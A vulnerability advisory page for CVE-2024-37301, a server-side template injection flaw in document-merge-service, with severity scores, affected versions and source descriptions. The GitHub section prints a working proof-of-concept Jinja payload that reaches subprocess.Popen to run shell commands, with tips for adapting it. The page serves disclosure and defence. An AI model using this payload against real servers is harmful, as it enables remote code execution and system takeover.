7.2high
document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection
- Severity
- 7.2high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.04% (higher than 64% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-v5gf-r78h-55q6PYSEC-2026-1314
Description
Document Merge Service is a document template merge service providing an API to manage templates and merge them with given data. Versions 6.5.1 and prior are vulnerable to remote code execution via server-side template injection which, when executed as root, can result in full takeover of the affected system. As of time of publication, no patched version exists, nor have any known workarounds been disclosed.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| adfinis document-merge-service | < 6.5.2 | CVE List |
| adfinis document_merge_service | up to 6.5.1 | CVE List |
| document-merge-service (PyPI) | before 6.5.2 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 7.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 7.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | 7.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
Document Merge Service is a document template merge service providing an API to manage templates and merge them with given data. Versions 6.5.1 and prior are vulnerable to remote code execution via server-side template injection which, when executed as root, can result in full takeover of the affected system. As of time of publication, no patched version exists, nor have any known workarounds been disclosed.
GitHub Advisory Database
Impact
What kind of vulnerability is it? Who is impacted?
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
Patches
Has the problem been patched? What versions should users upgrade to?
It has been patched in v6.5.2
References
Are there any links users can visit to find out more?
POC
Add the following to a document, upload and render it:
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}
The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.
NVD (es)
Document Merge Service es un servicio de combinación de plantillas de documentos que proporciona una API para administrar plantillas y combinarlas con datos determinados. Las versiones 6.5.1 y anteriores son vulnerables a la ejecución remota de código mediante la inyección de plantillas del lado del servidor que, cuando se ejecuta como root, puede resultar en la toma total del sistema afectado. En el momento de la publicación, no existe ninguna versión parcheada ni se ha revelado ningún workaround.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-37301 changed 2026-02-04 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-v5gf-r78h-55q6 changed 2026-07-07 | CC-BY-4.0 |
| NVD | CVE-2024-37301 changed 2026-06-17 | Public domain |
| PyPA Advisory Database | PYSEC-2026-1314 changed 2026-07-07 | CC-BY-4.0 |